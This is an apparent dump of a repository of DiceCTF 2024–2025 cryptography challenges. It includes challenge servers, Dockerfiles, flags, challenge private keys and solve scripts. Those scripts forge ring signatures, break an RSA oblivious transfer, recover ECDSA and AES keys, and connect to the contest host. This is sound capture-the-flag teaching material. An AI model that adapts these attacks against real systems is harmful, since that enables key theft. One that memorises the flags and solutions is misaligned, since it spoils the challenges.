/dicectf-quals-2024/yaonet/id_ecdsa_recovered: -------------------------------------------------------------------------------- 1 | -----BEGIN EC PRIVATE KEY----- 2 | MHcCAQEEIEVTid+zzK6H93TQqXrsLElLqW2lId//u/ng50R/t8n+oAoGCCqGSM49 3 | AwEHoUQDQgAEe9gaqT3Te1Th05wE9Ntn3GXmuVIRB90RyA6HHvO9YUsaF61aUbbM 4 | dRdhiIFwKiP+jMbkuwavOlxcTce4TM8RCA== 5 | -----END EC PRIVATE KEY----- -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from Crypto.Util.strxor import strxor 3 | from fastecdsa.curve import P256 4 | from fastecdsa.keys import export_key 5 | from fastecdsa.point import Point 6 | from functools import reduce 7 | import itertools 8 | from operator import add 9 | from tqdm import tqdm 10 | 11 | G = Point(P256.gx, P256.gy) 12 | 13 | hx = 0x7bd81aa93dd37b54e1d39c04f4db67dc65e6b9521107dd11c80e871ef3bd614b 14 | hy = 0x1a17ad5a51b6cc7517618881702a23fe8cc6e4bb06af3a5c5c4dc7b84ccf1108 15 | H = Point(hx, hy) 16 | 17 | priv = b' 37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3 =' 18 | 19 | d = int.from_bytes(base64.b64decode(priv.replace(b' ', b'A')), 'big') 20 | print(bin(d)[2:].zfill(256)) 21 | 22 | s1 = base64.b64decode(priv.replace(b' ', b'A')) 23 | s2 = base64.b64decode(priv.replace(b' ', b'/')) 24 | mask = int.from_bytes(strxor(s1, s2), 'big') 25 | 26 | inf = 0 * G 27 | X = [] 28 | for i in range(256): 29 | if (mask >> i) & 1: 30 | X.append((inf, (1 << i) * G)) 31 | 32 | print(len(X)) 33 | 34 | P = d*G 35 | 36 | table = dict() 37 | for guess in tqdm(itertools.product(*X[:len(X)//2]), total=2**(len(X)//2)): 38 | t = reduce(add, guess) 39 | table[(P + t).x] = guess 40 | 41 | for guess in tqdm(itertools.product(*X[len(X)//2:]), total=2**(len(X) - len(X)//2)): 42 | t = reduce(add, guess) 43 | if (H - t).x in table: 44 | print('found') 45 | points = itertools.chain(table[(H - t).x], guess) 46 | for i in range(256): 47 | if (mask >> i & 1) and next(points) != inf: 48 | d += 1 << i 49 | export_key(d, P256, 'id_ecdsa_recovered') 50 | exit() 51 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY uov.py uov_trapdoor.py flag.txt /srv/app/ 8 | COPY keys/* /srv/app/keys/ 9 | ENV JAIL_TIME=60 JAIL_MEM=20M JAIL_CPU=500 10 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/flag.txt: -------------------------------------------------------------------------------- 1 | dice{fr1ed_ch4ng3lin9_dumpl1ng5} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/gen.py: -------------------------------------------------------------------------------- 1 | import os 2 | import secrets 3 | import shutil 4 | 5 | from server import NAMES 6 | from uov import uov_1p_pkc as uov 7 | 8 | if __name__ == '__main__': 9 | uov.set_random(secrets.token_bytes) 10 | 11 | shutil.rmtree('keys') 12 | os.mkdir('keys') 13 | for name in NAMES: 14 | pk, _ = uov.keygen() 15 | with open(f'keys/{name}.pub', 'wb') as f: 16 | f.write(pk) 17 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/handout.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/handout.tar.gz -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/aibell.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/aibell.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/gloriana.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/gloriana.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/oberon.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/oberon.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/puck.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/puck.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/sebile.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/sebile.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/titania.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/titania.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | mkdir fairy-ring 4 | cp -r server.py uov.py uov_trapdoor.py keys fairy-ring 5 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='target' fairy-ring 6 | rm -rf fairy-ring 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/solve.sage: -------------------------------------------------------------------------------- 1 | from uov import uov_1p_pkc as uov 2 | 3 | F. = GF(2)[] 4 | K. = GF(2^8, name='a', modulus=x^8 + x^4 + x^3 + x + 1) 5 | 6 | n = uov.n 7 | m = uov.m 8 | v = uov.v 9 | 10 | t_bytes = uov.shake256(b'shrooms', uov.m_sz) 11 | t = vector(K, [K(ZZ(x).bits()) for x in t_bytes]) 12 | 13 | with open(f'keys/oberon.pub', 'rb') as f: 14 | tm = uov.expand_pk(f.read()) 15 | 16 | m1 = uov.unpack_mtri(tm, v) 17 | m2 = uov.unpack_mrect(tm[uov.p1_sz:], v, m) 18 | m3 = uov.unpack_mtri(tm[uov.p1_sz + uov.p2_sz:], m) 19 | 20 | As = [] 21 | for k in range(m): 22 | A = [[None for _ in range(n)] for _ in range(n)] 23 | for i in range(n): 24 | for j in range(n): 25 | if j < i: 26 | A[i][j] = K(0) 27 | elif i < len(m1) and j < len(m1[0]): 28 | A[i][j] = K(((m1[i][j] >> ((m - k - 1) * 8)) & 0xff).bits()) 29 | elif i < len(m1): 30 | A[i][j] = K(((m2[i][j - len(m1[0])] >> ((m - k - 1) * 8)) & 0xff).bits()) 31 | else: 32 | A[i][j] = K(((m3[i - len(m1)][j - len(m1[0])] >> ((m - k - 1) * 8)) & 0xff).bits()) 33 | A = matrix(K, A) 34 | As.append(A) 35 | 36 | def quad(x): 37 | return vector(K, [x.dot_product(A * x) for A in As]) 38 | 39 | delta = random_vector(K, n) 40 | M = matrix(K, [delta * (A + A.transpose()) for A in As]) 41 | u = M.solve_right(t - quad(delta)) 42 | assert quad(u) + quad(u + delta) == t 43 | 44 | sig = bytes([ZZ(list(x), base=2) for x in u]) + bytes([ZZ(list(x), base=2) for x in u + delta]) 45 | 46 | import os 47 | os.environ['TERM'] = 'xterm' 48 | from pwn import process, remote 49 | 50 | # io = process(['python', 'server.py']) 51 | io = remote('dicec.tf', 31003) 52 | 53 | io.sendlineafter(b'ring size: ', b'2') 54 | io.sendlineafter(b'name 1: ', b'oberon') 55 | io.sendlineafter(b'name 2: ', b'oberon') 56 | io.sendlineafter(b'ring signature (hex): ', sig.hex().encode()) 57 | io.interactive() 58 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim AS build 2 | 3 | WORKDIR /app 4 | COPY ./challenge . 5 | RUN cargo build --release --bin server 6 | 7 | FROM pwn.red/jail 8 | COPY --from=build / /srv 9 | 10 | RUN cp /srv/app/target/release/server /srv/app 11 | COPY ./aes.txt ./key.txt /srv/app/ 12 | COPY ./run.sh /srv/app/run 13 | ENV JAIL_TIME=60 JAIL_MEM=20M JAIL_CPU=500 -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "nil-circ" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | blake3 = "1.7.0" 8 | clap = { version = "4.5.32", features = ["derive"] } 9 | curve25519-dalek = "4.1.3" 10 | hex = "0.4.3" 11 | rand = "0.8.5" 12 | 13 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 14 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 15 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 16 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/challenge/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod ot; 2 | 3 | pub const BLOCK_SIZE: usize = 16; 4 | 5 | pub fn pack_block(bits: &[u16]) -> [u8; BLOCK_SIZE] { 6 | assert_eq!(bits.len(), BLOCK_SIZE * 8); 7 | let mut block = [0; BLOCK_SIZE]; 8 | for i in 0..BLOCK_SIZE { 9 | for j in 0..8 { 10 | let b = bits[i * 8 + j] as u8; 11 | assert!(b < 2); 12 | block[i] |= b << (7 - j); 13 | } 14 | } 15 | block 16 | } 17 | 18 | pub fn unpack_block(block: &[u8]) -> [u16; BLOCK_SIZE * 8] { 19 | assert_eq!(block.len(), BLOCK_SIZE); 20 | let mut bits = [0; BLOCK_SIZE * 8]; 21 | for i in 0..BLOCK_SIZE { 22 | for j in 0..8 { 23 | bits[i * 8 + j] = ((block[i] >> (7 - j)) & 1) as u16; 24 | } 25 | } 26 | bits 27 | } 28 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/flag.txt: -------------------------------------------------------------------------------- 1 | dice{bl4ze_r3ap_th1rd_w0rks_gh0st_s3ek} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/flag_enc.txt: -------------------------------------------------------------------------------- 1 | 174b4e2c1a74618921235e9cc4f99dd36c24bac16509f7adf298f30e4196a63b4e223d697597e1e7bfff092f100bbc65 -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/gen.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | from Crypto.Cipher import AES 3 | from Crypto.Util.Padding import pad 4 | 5 | if __name__ == '__main__': 6 | with open('flag.txt', 'rb') as f: 7 | flag = f.read().strip() 8 | 9 | key = secrets.token_bytes(16) 10 | cipher = AES.new(key, AES.MODE_ECB) 11 | flag_enc = cipher.encrypt(pad(flag, 16)) 12 | 13 | with open('key.txt', 'w') as f: 14 | f.write(key.hex()) 15 | 16 | with open('flag_enc.txt', 'w') as f: 17 | f.write(flag_enc.hex()) 18 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/handout.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/nil-circ/handout.tar.gz -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/key.txt: -------------------------------------------------------------------------------- 1 | a71bb8ca385f2d45c4e4c480208920cb -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cp -r challenge nil-circ 4 | cp gen.py aes.txt flag_enc.txt nil-circ 5 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='target' nil-circ 6 | rm -rf nil-circ 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./server --circuit aes.txt --key $(cat key.txt) 4 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | *.sage.py 3 | constraints.json 4 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | blake3 = "1.7.0" 10 | clap = { version = "4.5.32", features = ["derive"] } 11 | curve25519-dalek = "4.1.3" 12 | hex = "0.4.3" 13 | rand = "0.8.5" 14 | regex = "1.11.1" 15 | serde = { version = "1.0.219", features = ["derive"] } 16 | serde_json = "1.0.140" 17 | subtle = "2.5.0" 18 | 19 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 20 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 21 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 22 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/solve.sage: -------------------------------------------------------------------------------- 1 | # to generate constraints.json, run 2 | # cargo run --bin client -- --circuit ../aes.txt --input 00000000000000000000000000000000 localhost:5000 3 | 4 | import json 5 | from Crypto.Cipher import AES 6 | from Crypto.Util.Padding import unpad 7 | 8 | with open('constraints.json') as f: 9 | constraints = json.load(f) 10 | 11 | with open('../flag_enc.txt') as f: 12 | flag_enc = bytes.fromhex(f.read()) 13 | 14 | n = 256 15 | M = [] 16 | v = [] 17 | 18 | for c in constraints: 19 | M.append([1 if i in c['ids'] else 0 for i in range(n)]) 20 | v.append(1 if c['bit'] else 0) 21 | 22 | F = GF(2) 23 | M = matrix(F, M) 24 | v = vector(F, v) 25 | u = M.solve_right(v) 26 | 27 | for w in M.right_kernel(): 28 | sol = u + w 29 | key = int(''.join(map(str, sol[128:])), 2).to_bytes(16, 'big') 30 | cipher = AES.new(key, AES.MODE_ECB) 31 | flag = cipher.decrypt(flag_enc) 32 | if flag.startswith(b'dice{'): 33 | print(unpad(flag, 16).decode()) 34 | exit() 35 | -------------------------------------------------------------------------------- /dicectf-quals-2025/nil-circ/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod curious_circuit; 2 | mod garble_evaluator; 3 | pub mod ot; 4 | mod parse; 5 | pub mod twopac_evaluator; 6 | 7 | pub const BLOCK_SIZE: usize = 16; 8 | 9 | pub fn pack_block(bits: &[u16]) -> [u8; BLOCK_SIZE] { 10 | assert_eq!(bits.len(), BLOCK_SIZE * 8); 11 | let mut block = [0; BLOCK_SIZE]; 12 | for i in 0..BLOCK_SIZE { 13 | for j in 0..8 { 14 | let b = bits[i * 8 + j] as u8; 15 | assert!(b < 2); 16 | block[i] |= b << (7 - j); 17 | } 18 | } 19 | block 20 | } 21 | 22 | pub fn unpack_block(block: &[u8]) -> [u16; BLOCK_SIZE * 8] { 23 | assert_eq!(block.len(), BLOCK_SIZE); 24 | let mut bits = [0; BLOCK_SIZE * 8]; 25 | for i in 0..BLOCK_SIZE { 26 | for j in 0..8 { 27 | bits[i * 8 + j] = ((block[i] >> (7 - j)) & 1) as u16; 28 | } 29 | } 30 | bits 31 | } 32 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY flag.txt /srv/app/ 8 | ENV JAIL_TIME=300 JAIL_MEM=40M JAIL_CPU=1000 9 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/flag.txt: -------------------------------------------------------------------------------- 1 | dice{gl3am1ng_g0ld_doubl00n} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | import secrets 4 | from Crypto.PublicKey import RSA 5 | 6 | DEATH_CAUSES = [ 7 | 'a fever', 8 | 'dysentery', 9 | 'measles', 10 | 'cholera', 11 | 'typhoid', 12 | 'exhaustion', 13 | 'a snakebite', 14 | 'a broken leg', 15 | 'a broken arm', 16 | 'drowning', 17 | ] 18 | 19 | def run_ot(key, msg0, msg1): 20 | ''' 21 | https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer 22 | ''' 23 | x0 = secrets.randbelow(key.n) 24 | x1 = secrets.randbelow(key.n) 25 | print(f'n: {key.n}') 26 | print(f'e: {key.e}') 27 | print(f'x0: {x0}') 28 | print(f'x1: {x1}') 29 | v = int(input('v: ')) 30 | assert 0 <= v < key.n, 'invalid value' 31 | k0 = pow(v - x0, key.d, key.n) 32 | k1 = pow(v - x1, key.d, key.n) 33 | m0 = int.from_bytes(msg0.encode(), 'big') 34 | m1 = int.from_bytes(msg1.encode(), 'big') 35 | c0 = (m0 + k0) % key.n 36 | c1 = (m1 + k1) % key.n 37 | print(f'c0: {c0}') 38 | print(f'c1: {c1}') 39 | 40 | if __name__ == '__main__': 41 | with open('flag.txt') as f: 42 | flag = f.read().strip() 43 | 44 | print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===') 45 | print('you enter a cave.') 46 | 47 | for _ in range(64): 48 | print('the tunnel forks ahead. do you take the left or right path?') 49 | key = RSA.generate(1024) 50 | msgs = [None, None] 51 | page = secrets.randbits(32) 52 | live = f'you continue walking. turn to page {page}.' 53 | die = f'you die of {secrets.choice(DEATH_CAUSES)}.' 54 | msgs = (live, die) if secrets.randbits(1) else (die, live) 55 | run_ot(key, *msgs) 56 | page_guess = int(input('turn to page: ')) 57 | if page_guess != page: 58 | exit() 59 | 60 | print(f'you find a chest containing {flag}') 61 | -------------------------------------------------------------------------------- /dicectf-quals-2025/vorpal-sword/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | from tqdm import tqdm 3 | 4 | from server import DEATH_CAUSES 5 | 6 | PREFIX = b'you continue walking. turn to page ' 7 | SUFFIX = b'.' 8 | 9 | def recvlineafter(io, delim): 10 | io.recvuntil(delim) 11 | return io.recvline() 12 | 13 | # io = process(['python', 'server.py']) 14 | io = remote('dicec.tf', 31001) 15 | 16 | for _ in tqdm(range(64)): 17 | n = int(recvlineafter(io, b'n: ')) 18 | x0 = int(recvlineafter(io, b'x0: ')) 19 | x1 = int(recvlineafter(io, b'x1: ')) 20 | v = pow(2, -1, n) * (x0 + x1) % n 21 | assert (v - x0) % n == -(v - x1) % n 22 | io.sendlineafter(b'v: ', str(v).encode()) 23 | c0 = int(recvlineafter(io, b'c0: ')) 24 | c1 = int(recvlineafter(io, b'c1: ')) 25 | z = (c0 + c1) % n 26 | 27 | for cause in DEATH_CAUSES: 28 | die = f'you die of {cause}.' 29 | m = (z - int.from_bytes(die.encode(), 'big')).to_bytes(1024//8, 'big').strip(b'\x00') 30 | if m.startswith(PREFIX) and m.endswith(SUFFIX) and m[len(PREFIX):-len(SUFFIX)].isdigit(): 31 | page = int(m[len(PREFIX):-len(SUFFIX)]) 32 | break 33 | 34 | io.sendlineafter(b'turn to page: ', str(page).encode()) 35 | 36 | io.interactive() 37 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY key.pem flag.txt /srv/app/ 8 | ENV JAIL_TIME=600 JAIL_MEM=20M JAIL_CPU=500 9 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/flag.txt: -------------------------------------------------------------------------------- 1 | dice{lu5tr0us_j3wel_tr1nk3t} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/gen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | if __name__ == '__main__': 4 | key = RSA.generate(1024) 5 | with open('key.pem', 'wb') as f: 6 | f.write(key.export_key()) 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/winxy-pistol/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQC5rIloXR96GdgxjCbROVSlOK/zA0c83cXUIkGRU40srtj9hu8C 3 | tgZOsL/RkGEfp6e9dK6T8d250o8P7OSXsFr6YST/LSFV5feTTDjGeAW/HXDW7Lzj 4 | qsericFVszawfffmbKTfmEzKAFDsK3g6iZ6hyu52IomWDm9r+wSb7paLuQIDAQAB 5 | An9/5ALBirh5DKmIIgFFcTfcli9GM/vdm479j0WafvJpf1tMm09bjrAe2PVHDoEs 6 | 9049hna5cN+eHxUWOGs8EJKYtR+hgmvPDiRF2vdUy7doex4p49ZUZnTYyrIhp5Z8 7 | m0M++Aze2qTFofxwp+iIK3+TvayyQVl746vB7pUoU/u9AkEAwUap56IVVBP1oH6x 8 | l3lmxcHmBc8wW27N9T2f5hMfICKmnUIsb/mZ/D++6aUiBNOAI2bTYegTe3o3rDak 9 | 3sUyDwJBAPXuS6RFr6qkOngVRhmVPmhXYaWYsYNwODLwtM7/jTaDrc9we6Tqt5l4 10 | Jgiy4jRqtlurx6ITnNfvbQU8p9ObDbcCQArSwDT+eJ9KttiT/7Hx1HWClDUDEzwr 11 | ilEPcGLb80RDbH0l9YMXwS3FDBXdb3hBt81DttamvmCNyYxVSwpGlLUCQQC/XHvp 12 | R/wnqICCffM85t9Xq16kzwqZftGL+baHN1x3JcEyH5FmQuk39sCJlj/jj4F0FVdS 13 | azZo47mOEKN6STVDAkAITE0DywO/bFxuE8K/6ZqSrI1B4ZugyqFbOuy4j9M8JYJU 14 | woAnai4w08TykWeR2KC7yQQZZ2i/BVeDxpLMoGQC 15 | -----END RSA PRIVATE KEY----- --------------------------------------------------------------------------------